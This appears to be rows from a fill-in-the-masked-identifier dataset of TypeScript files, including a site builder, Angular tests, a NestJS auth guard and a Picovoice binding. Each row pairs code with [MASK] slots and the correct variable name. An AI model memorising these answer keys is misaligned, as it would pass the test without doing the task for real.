      <i>${byLine}</i>
      <p>${firstPara}</p>
</a>`;
    });
}

writeFileSync(""fragments/all-articles.html"", makeArticlesFragment().join(""""));
writeFileSync(
  ""fragments/latest-articles.html"",
  makeArticlesFragment({ latestOnly: true }).join("""") +
    `<a href=""/articles"">See all articles (${articles.length})</a>`,
);

//Build contributor fragments

function materialHtml(title: string, urls: string | string[], comment: string) {
  const punc = title.endsWith(""?"") ? """" : ""."";
  const titleHtml = Array.isArray(urls)
    ? `<i>${title}</i> (${urls
        .map((u, i) => `<a href=""${u}"">${i + 1}</a>`)
        .join("", "")})`
    : `<a href=""${urls}""><i>${title}</i></a>`;
  return `<material>${titleHtml}${punc} ${comment}</material>`;
}

contributors.forEach(c => {
  const {
    opinions,
    verseDescs,
    materials,
    charities,
  }: {
    opinions?: [string, string, string][];
    verseDescs?: [string, string][];
    materials?: [string, string | string[], string];
    charities?: string[];
  } = readJson(`contributions/${c}.json`);
  c = woSp(c);
  const opinionEls = (opinions ?? []).map(
    ([name, body, cites]) =>
      `<opinion data-cites=""${cites}""><i>${name}.</i> ${body} <cite>${cites}</cite></opinion>`,
  );
  const articleEls = makeArticlesFragment({ forAuthor: c });
  const descEls = (verseDescs ?? []).map(([cite, body]) => {
    const verses = [...cite]
      .map(c2n)
      .map(n => aue.eng[n])
      .join("" "");
    body = body.split(""\n"").join(""</p><p>"");
    return `<description><cite>${cite}</cite> <b>${verses}</b> <p>${body}</p></description>`;
  });
  const  [MASK]  = (materials ?? []).map(([title, urls, body]) =>
    materialHtml(title, urls, body),
  );
  let html = """";
  if (opinionEls.length) {
    const els = opinionEls.join(""\n"");
    html += `\n<column class=""opinions""><h2 class=""opinions"">Opinions</h2><opinions>${els}</opinions></column>`;
  }
  if (articleEls.length) {
    const els = articleEls.join(""\n"");
    html += `\n<column class=""wide""><h2>Articles</h2><articles>${els}</articles></column>`;
  }
  if (descEls.length) {
    const els = descEls.join(""\n"");
    html += `\n<column class=""descs""><h2>Verse Descriptions</h2><descs>${els}</descs></column>`;
  }
  if ( [MASK] .length) {
    const els =  [MASK] .join(""\n"");
    html += `\n<column class=""thin materials""><h2>Materials</h2><materials>${els}</materials></column>`;
  }
  writeFileSync(`fragments/contributions/${c}-inner.html`, html);
  writeFileSync(
    `fragments/contributions/${c}.html`,
    `{{header}}{{core}}{{${c}-inner}}{{footer}}`,
  );
});

//Build article fragments

articles.forEach(({ name, title, author, authorId }) =>
  writeFileSync(
    `fragments/articles/${authorId}---${name}.html`,
    `{{header}}{{article}}${readFileSync(
      `articles/${author}/${name}.html`,
    )}{{footer}}`,
  ),
);

//Collect fragments

const targets = [...walkSync(""fragments"", { directories: false })]
  .map(path => `fragments/${path}`)
  .map(path => [
    last(path.split(""/"")).split(""."")[0],
    readFileSync(path).toString(),
  ])
  .map(([name, text]) => ({
    name,
    text,
    deps: [] as string[],
  }));

//Find dependencies

targets.forEach(
  t =>
    (t.deps = [...new Set([...t.text.matchAll(/{{(.+?)}}/g)].map(g => g[1]))]),
);

//Resolve dependencies

let unresolved: typeof targets;
while ((unresolved = targets.filter(t => t.deps.length)).length) {
  unresolved.forEach(u => {
    const resolvable = targets.find(t => t.name == u.deps[0] && !t.deps.length);
    if (!resolvable) {
      return;
    }
    u.text = u.text.replace(
      new RegExp(`{{${resolvable.name}}}`, ""g""),
      resolvable.text,
    );
    u.deps.shift();
  });
}

const target = (name: string) => targets.find(t => t.name == name)?.text ?? """";

//Generate index.html

writeFileSync(
  ""docs/index.html"",
  target(""index"")
    .replace(""[[title]]"", ""Aue - a religion"")
    .replace(
      ""[[desc]]"",
      ""A modern naturalistic religion, focusing on joy & woe."",
    )
    .replace(""[[author-name]]"", ""<NAME>"")
    .replace(""[[keywords]]"", defaultKeywords),
);

//Generate contributor endpoints

contributors.forEach(contributor => {
  const title = `${contributor} - Aue - a religion`;
  const desc = `${contributor} gives their opinions, descriptions, materials, and articles on Aue - a modern religion.`;
  const id = woSp(contributor);
  const dir = `docs/${id}`;
  mkdir(dir);
  writeFileSync(
    `${dir}/index.html`,
    target(id)
      .replace(""[[title]]"", title)
      .replace(""[[desc]]"", desc)
      .replace(""[[author-name]]"", contributor)
      .replace(
        ""[[keywords]]"",
        `${defaultKeywords},adherent,articles,materials,opinions`,
      ),
  );
});

//Generate individual contributor article endpoints

articles.forEach(({ name, author, authorId, title, firstPara, keywords }) => {
  const dir = `docs/${authorId}`;
  const desc = `${firstPara.replace(/\s+/g, "" "").trim().substr(0, 150)}…`;
  mkdir(dir);
  mkdir(`${dir}/${name}`);
  const content = target(`${authorId}---${name}`).replace(/'/g, ""&rsquo;"");
  writeFileSync(
    `${dir}/${name}/index.html`,
    content
      .replace(""[[title]]"", `${title} - ${author}`)
      .replace(""[[desc]]"", desc)
      .replace(""[[author-name]]"", author)
      .replace(""[[keywords]]"", `${defaultKeywords},${keywords}`),
  );
});

//Copy translation fragments
Object.keys(aue).forEach(lang => {
  writeFileSync(
    `docs/translations/verses-${lang}.html`,
    target(`verses-${lang}`),
  );
});

//Generate cards, wallpaper, forum, and all articles endpoint

writeFileSync(""docs/cards/index.html"", target(""cards""));
writeFileSync(""docs/wallpaper/index.html"", target(""wallpaper""));
writeFileSync(
  ""docs/forum/index.html"",
  target(""forum"")
    .replace(""[[title]]"", ""Forum"")
    .replace(""[[desc]]"", ""A copy of the Discord forum made available"")
    .replace(""[[author-name]]"", ""<NAME>"")
    .replace(""[[keywords]]"", `${defaultKeywords},forum`),
);
writeFileSync(
  ""docs/articles/index.html"",
  target(""articles"").replace(""[[title]]"", ""All articles""),
);
",materialEls
875,"const importUtils = import(""@apphosting/adapter-angular/dist/utils.js"");
import assert from ""assert"";
import { resolve } from ""path"";
import fs from ""fs"";
import path from ""path"";
import os from ""os"";
import { OutputBundleOptions } from ""../interface.js"";

describe(""build commands"", () => {
  let tmpDir: string;
  let outputBundleOptions: OutputBundleOptions;
  let defaultAngularVersion: string;
  beforeEach(() => {
    tmpDir = generateTmpDir();
    outputBundleOptions = {
      baseDirectory: resolve(tmpDir, ""dist"", ""test""),
      browserDirectory: resolve(tmpDir, "".apphosting"", ""dist"", ""browser""),
      bundleYamlPath: resolve(tmpDir, "".apphosting"", ""bundle.yaml""),
      outputBaseDirectory: resolve(tmpDir, "".apphosting"", ""dist""),
      outputDirectory: resolve(tmpDir, "".apphosting""),
      serverFilePath: resolve(tmpDir, "".apphosting"", ""dist"", ""server"", ""server.mjs""),
      needsServerGenerated: false,
    };
    defaultAngularVersion = ""17.3.8"";
  });

  it(""expects all output bundle files to be generated"", async () => {
    const { generateOutputDirectory, validateOutputDirectory, createMetadata } = await importUtils;
    const files = {
      ""dist/test/browser/browserfile"": """",
      ""dist/test/server/server.mjs"": """",
    };
    const packageVersion = createMetadata(defaultAngularVersion).adapterVersion;
    generateTestFiles(tmpDir, files);
    await generateOutputDirectory(tmpDir, outputBundleOptions, defaultAngularVersion);
    await validateOutputDirectory(outputBundleOptions);

    const expectedFiles = {
      "".apphosting/dist/browser/browserfile"": """",
      "".apphosting/dist/server/server.mjs"": """",
      "".apphosting/bundle.yaml"": `
runCommand: node .apphosting/dist/server/server.mjs
neededDirs:
  - .apphosting
staticAssets:
  - .apphosting/dist/browser
env: []
metadata:
  adapterPackageName: ""@apphosting/adapter-angular""
  adapterVersion: ${packageVersion}
  framework: angular
  frameworkVersion: 17.3.8
`,
    };
    validateTestFiles(tmpDir, expectedFiles);
  });

  it(""expects SSR_PORT variable is added to bundle.yaml for Angular v17.3.2"", async () => {
    const { generateOutputDirectory } = await importUtils;
    const files = {
      ""dist/test/browser/browserfile"": """",
      ""dist/test/server/server.mjs"": """",
    };
    generateTestFiles(tmpDir, files);
    await generateOutputDirectory(tmpDir, outputBundleOptions, ""17.3.2"");

    const expectedContents = `env:
  - variable: SSR_PORT
    value: ""8080""
    availability: RUNTIME
`;
    validateFileExistsAndContains(tmpDir, "".apphosting/bundle.yaml"", expectedContents);
  });

  it(""test failed validateOutputDirectory"", async () => {
    const { generateOutputDirectory, validateOutputDirectory } = await importUtils;
    const files = {
      ""dist/test/browser/browserfile"": """",
      ""dist/test/server/notserver.mjs"": """",
    };
    generateTestFiles(tmpDir, files);
    await generateOutputDirectory(tmpDir, outputBundleOptions, defaultAngularVersion);
    assert.rejects(async () => await validateOutputDirectory(outputBundleOptions));
  });

  it(""test populate output bundle options"", async () => {
    const { populateOutputBundleOptions } = await importUtils;
    const expectedOutputBundleOptions = {
      baseDirectory: ""/test"",
      browserDirectory: resolve("".apphosting"", ""browser""),
      bundleYamlPath: resolve("".apphosting"", ""bundle.yaml""),
      outputBaseDirectory: resolve("".apphosting"", ""dist""),
      outputDirectory: resolve("""", "".apphosting""),
      needsServerGenerated: false,
      serverFilePath: resolve("".apphosting"", ""server"", ""server.mjs""),
    };
    const  [MASK]  = {
      root: new URL(""file:///test""),
      server: new URL(""file:///server""),
      browser: new URL(""file:///browser""),
    };
    assert.deepEqual(populateOutputBundleOptions( [MASK] ), expectedOutputBundleOptions);
  });
  afterEach(() => {
    fs.rmSync(tmpDir, { recursive: true, force: true });
  });
});
function generateTmpDir(): string {
  return fs.mkdtempSync(path.join(os.tmpdir(), ""test-files""));
}

function generateTestFiles(baseDir: string, filesToGenerate: Object): void {
  Object.entries(filesToGenerate).forEach((file) => {
    const fileName = file[0];
    const contents = file[1];
    const fileToGenerate = path.join(baseDir, fileName);
    fs.mkdirSync(path.dirname(fileToGenerate), { recursive: true });
    fs.writeFileSync(fileToGenerate, contents);
  });
}

function ignoreBlankLines(text: string) {
  return text.replace(/^\s*[\r\n]/gm, """");
}

function validateTestFiles(baseDir: string, expectedFiles: Object): void {
  Object.entries(expectedFiles).forEach((file) => {
    const fileName = file[0];
    const expectedContents = file[1];
    const fileToRead = path.join(baseDir, fileName);
    const contents = fs.readFileSync(fileToRead).toString();
    assert.deepEqual(ignoreBlankLines(contents), ignoreBlankLines(expectedContents));
  });
}

function validateFileExistsAndContains(
  baseDir: string,
  expectedFileName: string,
  expectedContents: string,
): void {
  const fileToRead = path.join(baseDir, expectedFileName);
  assert.ok(fs.existsSync(fileToRead), `File '${fileToRead}' does not exist.`);
  const contents = fs.readFileSync(fileToRead).toString();
  assert.ok(
    contents.includes(expectedContents),
    `Actual contents do not contain expected contents.\nExpected contained contents:\n${expectedContents}\nActual:\n${contents}`,
  );
}
",outputPaths
876,"import { CanActivate, ExecutionContext, Injectable, UnauthorizedException } from '@nestjs/common';
import { Reflector } from '@nestjs/core';
import { AuthGuard } from '@nestjs/passport';
import { ErrorMessages } from 'guards';
import { PublicRoute } from 'metadata/metadata-decorators';
import { User } from 'src/users/users.schema';
import { UsersService } from 'src/users/users.service';
import { AuthService } from '../src/auth/auth.service';

@Injectable()
export class AccessTokenGuard extends AuthGuard('jwt') implements CanActivate {
	constructor(
		private reflector: Reflector,
		private readonly authService: AuthService,
		private readonly usersService: UsersService,
	) {
		super();
	}

	async canActivate(context: ExecutionContext): Promise<boolean> {
		// check for non-auth flag
		const isPublicRoute = this.reflector.get(PublicRoute, context.getHandler());
		if (!!isPublicRoute) return true;

		const request = context.switchToHttp().getRequest();
		const accessToken = request?.headers.authorization?.split(' ')[1];
		if (!accessToken) throw new UnauthorizedException(ErrorMessages.AUTH_ERROR);

		const decision = !!(await this.authService.validateToken(typeof accessToken === 'string' ? accessToken : ''));

		const  [MASK]  = request.url || request.path || 'undefined';
		if ( [MASK]  !== '/users/leave-meta')
			this.usersService.updateUserRequestsLogs({
				username: ((await this.usersService.decodeJWT(accessToken)) as User).username,
				lastRequest:  [MASK] ,
				decision,
			});

		if (decision) {
			// add to request's payload user-data to use in handlers
			request['guardUserData'] = await this.usersService.getUserByAccessToken(accessToken);
			// pass the request
			return true;
		}
		throw new UnauthorizedException(ErrorMessages.AUTH_ERROR);
	}

	async activate(context: ExecutionContext): Promise<boolean> {
		return super.canActivate(context) as Promise<boolean>;
	}

	handleRequest(err, user) {
		if (err || !user) {
			throw new UnauthorizedException('У вас недостаточно прав для выполнения операции!');
		}
		return user;
	}
}
",requestedPath
877,"import {
  dateToUnix,
  formatDate,
  formatDateStr,
  getDateRange,
  wrapEndDate,
  wrapStartDate,
} from ""@/lib/utils"";

export type LLMUsage = {
  provider: string;
  model_name: string;
  input_token: number;
  output_token: number;
  total_token: number;
  input_token_cost: number;
  output_token_cost: number;
  total_token_cost: number;
  ts: string;
};

export type Spending = {
  money: number;
  token: number;
};

export type LLMUsageResponse = {
  provider: string;
  model_name: string;
  usages: LLMUsage[];
};

export type UsageResponse = {
  all_time_spending: Spending;
  current_spending: Spending;
  usages: LLMUsageResponse[];
};

export const fetchLLMUsages = async (
  startTS?: Date,
  endTS?: Date
): Promise<UsageResponse | undefined> => {
  const emptyData = {
    all_time_spending: { money: 0, token: 0 },
    current_spending: { money: 0, token: 0 },
    usages: [],
  };

  if (startTS === undefined || endTS === undefined) return emptyData;

  const startTSUnix = dateToUnix(wrapStartDate(startTS));
  const endTSUnix = dateToUnix(wrapEndDate(endTS));
  const resp = await fetch(
    `/api/usage?startTS=${startTSUnix}&endTS=${endTSUnix}`
  );
  if (resp.status === 204) return emptyData;

  return await resp.json();
};

// viz helper

export type LLMUsageUI = {
  model_name: string;
  provider: string;
  usagesUI: LLMUsageDataUI[];
};

export type LLMUsageDataUI = {
  date: string;
  input_token: number;
  output_token: number;
  total_token: number;
  input_token_cost: number;
  output_token_cost: number;
  total_token_cost: number;
  request_count: number;
};

export function mapUsageForUI(
  responses: LLMUsageResponse[],
  startDate: Date,
  endDate: Date
): LLMUsageUI[] {
  const map = new Map<string, LLMUsageDataUI[]>(); // model_name -> data

  const dateRange = getDateRange(startDate, endDate);

  responses.forEach((response) => {
    const usagePerDayMap = new Map<
      string,
      LLMUsage & { request_count: number }
    >(); // string date -> usage

    response.usages.forEach((usage) => {
      const  [MASK]  = formatDateStr(usage.ts);

      if (usagePerDayMap.has( [MASK] )) {
        const existing = usagePerDayMap.get( [MASK] );

        existing!.input_token += usage.input_token;
        existing!.output_token += usage.output_token;
        existing!.total_token += usage.total_token;
        existing!.input_token_cost += usage.input_token_cost;
        existing!.output_token_cost += usage.output_token_cost;
        existing!.total_token_cost += usage.total_token_cost;
        existing!.request_count += 1;

        usagePerDayMap.set( [MASK] , existing!);
        return;
      }

      usagePerDayMap.set( [MASK] , { ...usage, request_count: 1 });
    });

    const dataPerSpanDatetime = dateRange.map((date) => {
      const formattedDate = formatDate(date);
      const value = usagePerDayMap.get(formattedDate) ?? {
        input_token: 0,
        output_token: 0,
        total_token: 0,
        input_token_cost: 0,
        output_token_cost: 0,
        total_token_cost: 0,
        request_count: 0,
      };

      return {
        ...value,
        date: formattedDate,
      };
    });

    map.set(`${response.model_name}_${response.provider}`, dataPerSpanDatetime);
  });

  return responses
    .map((response) => {
      return {
        model_name: response.model_name,
        provider: response.provider,
        usagesUI: map.get(`${response.model_name}_${response.provider}`)!,
      };
    })
    .sort((a, b) => {
      const aKey = `${a.model_name}_${a.provider}`;
      const bKey = `${b.model_name}_${b.provider}`;

      return aKey.localeCompare(bKey);
    });
}
",dateKey
878,"import { Component, Input } from '@angular/core';
import { Order, OrderFinished } from 'src/app/models/order.model';
import { Client } from 'src/app/models/client.model';
import { TasksService } from 'src/app/services/tasks.service';
import { ClientsService } from 'src/app/services/clients.service';
import { NavBarComponent } from '../nav-bar/nav-bar.component';

import { TasksComponent } from '../tasks/tasks.component';


@Component({
  selector: 'seeOrder',
  templateUrl: './order.component.html',
  styleUrls: ['./order.component.css','../tasks/tasks.component.css']
})
export class OrderComponent {
  @Input() orderID : number = 0;
  @Input() orderFinishedID : number = 0;
  @Input() clientID : number = 0;
  
  order! : Order;
  orderFinished! : OrderFinished;

  client! : Client; 

  orderHaveBrand: boolean = false;
  orderHaveGPU: boolean = false;
  orderHaveHDD: boolean = false;
  orderHaveRAM: boolean = false;
  orderHaveOthers: boolean = false;
  orderHaveDescription: boolean = false;

  constructor(private tasksService: TasksService,
    private clientsService : ClientsService,
    private navBarComponent : NavBarComponent){
  }

  ngOnInit(): void {
    //Called after the constructor, initializing input properties, and the first call to ngOnChanges.
    //Add 'implements OnInit' to the class.
    this.clientID = this.navBarComponent.clientID;

    if(this.clientID !== 0)
      this.showClient();

    if(this.orderID !== 0 || this.orderFinishedID !==0)
      this.showOrder();

  }
  processOrder(order:any){
      
    this.orderHaveBrand = false;
    if(order.brand !== '')
      this.orderHaveBrand = true;

    this.orderHaveGPU = false;
    const GPU = order.GPU.split(',');
    for(let i =0;i< GPU.length;i++){
      if(GPU[i] !=='')
        this.orderHaveGPU = true;
    }

    
    this.orderHaveHDD = false;
    const HDD = order.HDD.split(',');
    for(let i =0;i< HDD.length;i++){
      if(HDD[i] !=='')
        this.orderHaveHDD = true;
    }

    
    this.orderHaveRAM = false;
    const RAM = order.RAM.split(',');
    for(let i =0;i< RAM.length;i++){
      if(RAM[i] !=='')
        this.orderHaveRAM = true;
    }

    this.orderHaveOthers = false;
    if(order.others.trim() !== '')
      this.orderHaveOthers = true;

      
    this.orderHaveDescription = false;
    if(order.description.trim() !== '')
      this.orderHaveDescription = true;

  }

  hideOrder(){
    this.orderID = 0;
    this.orderFinishedID =0;
  }

  showOrder(){
    console.log(this.orderID);
    if(this.orderID !== 0 ){
      this.tasksService.getOrderBy(this.orderID)
        .subscribe(res =>{
          this.order = res;
          this.clientsService.getClientBy(this.order.clientId)
            .subscribe(res=>{
              this.client = res;
            })
          this.processOrder(this.order);
        },
        err =>{
          console.log(err);
        }
      );
    } 
    console.log(this.orderFinishedID);
    if(this.orderFinishedID !== 0 ){
      this.tasksService.getOrderFinishedBy(this.orderFinishedID)
        .subscribe(res =>{
          this.orderFinished = res;
          this.clientsService.getClientBy(this.orderFinished.clientId)
            .subscribe(res=>{
              this.client = res;
            })
          this.processOrder(this.orderFinished);
        },
        err =>{
          console.log(err);
        }
      );
    }
  }
  showClient(){
    this.clientsService.getClientBy(this.clientID)
      .subscribe(res=>{
        this.client = res;
        console.log(this.client);
      },
      err => console.log(err)
      );
  }

  finishOrder( [MASK] :boolean){
    console.log( [MASK] );
    this.tasksService.finishOrder(this.order, [MASK] )
      .subscribe(
        res =>{
          console.log(res);
          this.client.orderFinished.push(res);
        },
        err => console.log(err)
      );
    
    this.deleteOrder();
  }
  deleteThisClient(){
    /*for(let n of this.client.order){
      this.tasksService.deleteOrderBy(n.id)
      .subscribe(
        res =>{
          console.log('eliminated');
        },
        err =>{
          console.log(err);
        }
      );
    }
    for(let n of this.client.orderFinished){
      this.tasksService.deleteOrderFinishedBy(n.id)
      .subscribe(
        res =>{
          console.log('eliminated');
        },
        err =>{
          console.log(err);
        }
      );
    }*/
    console.log(this.client.id);
    this.clientsService.deleteClientBy(this.client.id)
      .subscribe(
        res=>{  
          console.log(res)
        },
        err => console.log(err)
      )
    this.navBarComponent.showClients();
  }

  deleteThisOrder(){
    if(this.orderID !== 0){
      this.tasksService.deleteOrderBy(this.orderID)
      .subscribe(
        res =>{
          console.log('eliminated');
        },
        err =>{
          console.log(err);
        }
      );
      this.deleteOrder();
    }
    if(this.orderFinishedID !== 0){
      this.tasksService.deleteOrderFinishedBy(this.orderFinishedID)
      .subscribe(
        res =>{
          console.log('eliminated');
        },
        err =>{
          console.log(err);
        }
      );
      this.deleteOrderFinished();
    }
  }

  deleteOrder(){
    let pos = 0;
    for(let i =0;i< this.client.order.length;i++ ){
      if(this.client.order[i].id === this.orderID){
        pos = i;
        break;
      }
    }
    this.client.order.splice(pos,1);

    console.log(this.client.order);

    this.orderID = 0;
  }

  deleteOrderFinished(){
    let pos = 0;
    for(let i =0;i< this.client.orderFinished.length;i++ ){
      if(this.client.orderFinished[i].id === this.orderFinishedID){
        pos = i;
        break;
      }
    }
    this.client.orderFinished.splice(pos,1);

    console.log(this.client.orderFinished);

    this.orderFinishedID   = 0;
  }
}
",completed
879,"export function isThisWeek(dateString: string): boolean {
  const date = new Date(dateString)
  const today = new Date()
  const startOfWeek = new Date(today.setDate(today.getDate() - today.getDay()))
  const endOfWeek = new Date(today.setDate(today.getDate() - today.getDay() + 6))

  startOfWeek.setHours(0, 0, 0, 0)
  endOfWeek.setHours(23, 59, 59, 999)

  return date >= startOfWeek && date <= endOfWeek
}

export function sortData<T>(data: T[], sortBy: string): T[] {
  return [...data].sort((a, b) => {
    const aValue = (a as any)[sortBy]
    const  [MASK]  = (b as any)[sortBy]

    if (typeof aValue === ""string"" && typeof  [MASK]  === ""string"") {
      return aValue.localeCompare( [MASK] )
    }

    if (aValue instanceof Date &&  [MASK]  instanceof Date) {
      return aValue.getTime() -  [MASK] .getTime()
    }

    return String(aValue).localeCompare(String( [MASK] ))
  })
}

export function filterData<T>(data: T[], searchTerm: string, filterBy: string, searchFields: string[]): T[] {
  let filtered = data

  // Apply search filter
  if (searchTerm) {
    filtered = filtered.filter((item) =>
      searchFields.some((field) =>
        String((item as any)[field])
          .toLowerCase()
          .includes(searchTerm.toLowerCase()),
      ),
    )
  }

  // Apply category filter
  if (filterBy && filterBy !== ""all"") {
    filtered = filtered.filter((item) => {
      if (filterBy === ""this-week"") {
        return isThisWeek((item as any).deadline || (item as any).endDate || (item as any).startDate)
      }
      return (item as any).status === filterBy || (item as any).type === filterBy
    })
  }

  return filtered
}
",bValue
880,"
class UserSignup {

    public signup() {
        const nameValue = this.getInputValue('name');
        const jobValue = this.getInputValue('job');

        this.invokeAPI({
            'name': nameValue,
            'job': jobValue
        });
    }

    private successAlert() {
        window.alert('User successfully added.');
    }

    private invokeAPI(data: any) {
        const  [MASK]  = new XMLHttpRequest();
         [MASK] .open('POST', 'https://reqres.in/api/users');
         [MASK] .send(data);
         [MASK] .onload = this.successAlert;
    }

    private getInputValue(controlName: string): string {
        return (document.getElementById(controlName) as HTMLInputElement).value;
    }
}

function submitUserDetails() {
    const u: UserSignup = new UserSignup();
    u.signup();
    return false;
}
",xhr
881,"'use strict';
import { commands, env, ExtensionContext, Position, Range, Selection, SnippetString, TextDocument, TextEditor, window, workspace, WorkspaceEdit } from 'vscode';
import { trocaOperadora } from './trocaOperadora/trocaOperadora';
import { toBase64 } from './toBase64/toBase64';
var DOMParser = require('xmldom').DOMParser;


export function activate(context: ExtensionContext) {
	context.subscriptions.push(
		commands.registerCommand('tiss.extension.quantidadeBeneficiario', quantidadeBeneficiario),
		commands.registerCommand('tiss.extension.nomeContratado', nomeContratado),
		commands.registerCommand('tiss.extension.trocaOperadora', trocaOperadora),
		commands.registerCommand('tiss.extension.toBase64', toBase64)
	);
}

function quantidadeBeneficiario() {
	let beneficiario = new Beneficiario();
	let editor = window.activeTextEditor;
	if (!editor) {
		return;
	}

	let doc = editor.document;
	let count = beneficiario._beneficiarioCount(doc);

	window.showInformationMessage(count + "" beneficiários."");
}

function nomeContratado() {
	let  [MASK]  = new Prestador();
	let editor = window.activeTextEditor;
	if (!editor) {
		return;
	}

	let doc = editor.document;
	let nome =  [MASK] ._ContratadoNome(doc);

	window.showInformationMessage(""Contratado:"" + nome);
}



export class Beneficiario {

	public _beneficiarioCount(doc: TextDocument): number {
		var xmldoc = new DOMParser().parseFromString(doc.getText(), 'text/xml');
		return xmldoc.getElementsByTagName(""ans:beneficiario"").length;
	}
}

export class Prestador {

	public _ContratadoNome(doc: TextDocument): string {
		var xmldoc = new DOMParser().parseFromString(doc.getText(), 'text/xml');
		return xmldoc.getElementsByTagName(""ans:nomeContratado"")[0].textContent;
	}
}
",prestador
882,"/*
  Copyright 2023 Picovoice Inc.

  You may not use this file except in compliance with the license. A copy of the license is located in the ""LICENSE""
  file accompanying this source.

  Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on
  an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
  specific language governing permissions and limitations under the License.
*/

/* eslint camelcase: 0 */

import { Mutex } from 'async-mutex';

import {
  aligned_alloc_type,
  arrayBufferToStringAtIndex,
  buildWasm,
  isAccessKeyValid,
  loadModel,
  pv_free_type,
  PvError,
} from '@picovoice/web-utils';

import { simd } from 'wasm-feature-detect';

import { KoalaModel, KoalaOptions, PvStatus } from './types';

import * as KoalaErrors from './koala_errors';
import { pvStatusToException } from './koala_errors';

/**
 * WebAssembly function types
 */
type pv_koala_init_type = (
  accessKey: number,
  modelPath: number,
  object: number
) => Promise<number>;
type pv_koala_delay_sample_type = (
  object: number,
  delaySample: number
) => Promise<number>;
type pv_koala_process_type = (
  object: number,
  pcm: number,
  enhancedPcm: number
) => Promise<number>;
type pv_koala_reset_type = (object: number) => Promise<number>;
type pv_koala_delete_type = (object: number) => Promise<void>;
type pv_status_to_string_type = (status: number) => Promise<number>;
type pv_koala_frame_length_type = () => Promise<number>;
type pv_sample_rate_type = () => Promise<number>;
type pv_koala_version_type = () => Promise<number>;
type pv_set_sdk_type = (sdk: number) => Promise<void>;
type pv_get_error_stack_type = (
  messageStack: number,
  messageStackDepth: number
) => Promise<number>;
type pv_free_error_stack_type = (messageStack: number) => Promise<void>;

/**
 * JavaScript/WebAssembly Binding for Koala
 */
type KoalaWasmOutput = {
  aligned_alloc: aligned_alloc_type;
  memory: WebAssembly.Memory;
  pvFree: pv_free_type;
  objectAddress: number;
  messageStackAddressAddressAddress: number;
  messageStackDepthAddress: number;
  pvKoalaDelete: pv_koala_delete_type;
  pvKoalaProcess: pv_koala_process_type;
  pvKoalaReset: pv_koala_reset_type;
  pvStatusToString: pv_status_to_string_type;
  pvGetErrorStack: pv_get_error_stack_type;
  pvFreeErrorStack: pv_free_error_stack_type;
  delaySample: number;
  frameLength: number;
  sampleRate: number;
  version: string;
  inputBufferAddress: number;
  outputBufferAddress: number;
  pvError: PvError;
};

const PV_STATUS_SUCCESS = 10000;

export class Koala {
  private readonly _pvKoalaDelete: pv_koala_delete_type;
  private readonly _pvKoalaProcess: pv_koala_process_type;
  private readonly _pvKoalaReset: pv_koala_reset_type;
  private readonly _pvStatusToString: pv_status_to_string_type;
  private readonly _pvGetErrorStack: pv_get_error_stack_type;
  private readonly _pvFreeErrorStack: pv_free_error_stack_type;

  private _wasmMemory: WebAssembly.Memory | undefined;
  private readonly _pvFree: pv_free_type;
  private readonly _processMutex: Mutex;

  private readonly _objectAddress: number;
  private readonly _inputBufferAddress: number;
  private readonly _outputBufferAddress: number;
  private readonly _messageStackAddressAddressAddress: number;
  private readonly _messageStackDepthAddress: number;

  private static _delaySample: number;
  private static _frameLength: number;
  private static _sampleRate: number;
  private static _version: string;
  private static _wasm: string;
  private static _wasmSimd: string;
  private static _sdk: string = 'web';

  private static _koalaMutex = new Mutex();

  private readonly _processCallback: (enhancedPcm: Int16Array) => void;
  private readonly _processErrorCallback?: (
    error: KoalaErrors.KoalaError
  ) => void;

  private readonly _pvError: PvError;

  private constructor(
    handleWasm: KoalaWasmOutput,
    processCallback: (enhancedPcm: Int16Array) => void,
    processErrorCallback?: (error: KoalaErrors.KoalaError) => void
  ) {
    Koala._delaySample = handleWasm.delaySample;
    Koala._frameLength = handleWasm.frameLength;
    Koala._sampleRate = handleWasm.sampleRate;
    Koala._version = handleWasm.version;

    this._pvKoalaDelete = handleWasm.pvKoalaDelete;
    this._pvKoalaProcess = handleWasm.pvKoalaProcess;
    this._pvKoalaReset = handleWasm.pvKoalaReset;
    this._pvStatusToString = handleWasm.pvStatusToString;
    this._pvGetErrorStack = handleWasm.pvGetErrorStack;
    this._pvFreeErrorStack = handleWasm.pvFreeErrorStack;

    this._wasmMemory = handleWasm.memory;
    this._pvFree = handleWasm.pvFree;
    this._objectAddress = handleWasm.objectAddress;
    this._inputBufferAddress = handleWasm.inputBufferAddress;
    this._outputBufferAddress = handleWasm.outputBufferAddress;
    this._messageStackAddressAddressAddress =
      handleWasm.messageStackAddressAddressAddress;
    this._messageStackDepthAddress = handleWasm.messageStackDepthAddress;

    this._pvError = handleWasm.pvError;
    this._processMutex = new Mutex();

    this._processCallback = processCallback;
    this._processErrorCallback = processErrorCallback;
  }

  public static setSdk(sdk: string): void {
    Koala._sdk = sdk;
  }

  /**
   * Delay in samples. If the input and output of consecutive calls to `.process()` are viewed as two contiguous
   * streams of audio data, this delay specifies the time shift between the input and output stream.
   */
  get delaySample(): number {
    return Koala._delaySample;
  }

  /**
   * Get Koala engine version.
   */
  get version(): string {
    return Koala._version;
  }

  /**
   * Get frame length.
   */
  get frameLength(): number {
    return Koala._frameLength;
  }

  /**
   * Get sample rate.
   */
  get sampleRate(): number {
    return Koala._sampleRate;
  }

  /**
   * Set base64 wasm file.
   * @param wasm Base64'd wasm file to use to initialize wasm.
   */
  public static setWasm(wasm: string): void {
    if (this._wasm === undefined) {
      this._wasm = wasm;
    }
  }

  /**
   * Set base64 wasm file with SIMD feature.
   * @param wasmSimd Base64'd wasm file to use to initialize wasm.
   */
  public static setWasmSimd(wasmSimd: string): void {
    if (this._wasmSimd === undefined) {
      this._wasmSimd = wasmSimd;
    }
  }

  /**
   * Creates an instance of the Picovoice Koala Noise Suppression Engine.
   * Behind the scenes, it requires the WebAssembly code to load and initialize before
   * it can create an instance.
   *
   * @param accessKey AccessKey obtained from Picovoice Console (https://console.picovoice.ai/)
   * @param processCallback User-defined callback to run after receiving enhanced pcm result.
   * The output is not directly the enhanced version of the input PCM, but corresponds to samples that were given in
   * previous calls to `.process()`. The delay in samples between the start time of the input frame and the start
   * time of the output frame can be attained from `.delaySample`.
   * @param model Koala model options.
   * @param model.base64 The model in base64 string to initialize Koala.
   * @param model.publicPath The model path relative to the public directory.
   * @param model.customWritePath Custom path to save the model in storage.
   * Set to a different name to use multiple models across `koala` instances.
   * @param model.forceWrite Flag to overwrite the model in storage even if it exists.
   * @param model.version Version of the model file. Increment to update the model file in storage.
